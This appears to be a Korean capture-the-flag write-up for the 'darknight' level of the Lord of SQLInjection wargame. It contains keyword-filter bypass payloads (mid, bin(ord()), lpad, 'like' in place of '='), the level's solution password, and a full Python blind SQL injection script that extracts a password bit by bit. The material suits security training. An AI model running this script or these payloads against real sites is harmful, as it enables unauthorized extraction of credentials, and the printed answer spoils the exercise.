Web/Lord Of SQL
LOS - darknight / level 12
supp0rt
2024. 6. 24. 18:39
문제

풀이 과정
if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~");
if(preg_match('/\'/i', $_GET[pw])) exit("HeHe");
if(preg_match('/\'|substr|ascii|=/i', $_GET[no])) exit("HeHe");
pw 에 싱글쿼터를 / no에 싱글쿼터와 substr ascii = 을 필터링 함을 알 수있다
substr과 ascii는 mid / bin(ord())로 우회한다
lpad를 통해 8자리로 고정을 시킨 후 비트 마스킹을 진행
mid(lpad(bin(ord(mid(pw,1,1))), 8,0) ,1,1) = "1"
정답
더보기
?pw=0b70ea1f
코드
import requests
url = "input your url"
cookie = {input your cookie}
user = "input your user"
def change(array):
c_result = []
for i in range(len(array)):
c_result.append(chr(int(array[i],2)))
return c_result
def find_length(url, cookie, user):
i = 1
while True:
params = f'?no=1 or id like "{user}" and length(pw) > {i}%23'
send_url = url + params
res = requests.get(send_url, cookies=cookie)
print(params)
if 'Hello admin' not in res.text:
break
i += 1
return i
def blind(url, cookie, user,length):
result = []
for i in range(1,length + 1):
two = 2
result_str = ""
for k in range(1,9):
params = f'?no=1 or id like "{user}" and mid(lpad(bin(ord(mid(pw,{i},1))),8,0),{k},1) like "1"%23'
send_url = url + params
res = requests.get(send_url, cookies=cookie)
if "Hello admin" in res.text:
result_str = result_str + "1"
else:
result_str = result_str + "0"
print(f"{i} : {result_str}")
result.append(result_str)
return result
def print_str(array):
result = ""
for i in range(len(array)):
result += array[i]
return result
length = find_length(url, cookie, user)
print(length)
result = blind(url, cookie, user, length)
print(result)
c_result = change(result)
print(c_result)
result_str = print_str(c_result)
print(result_str)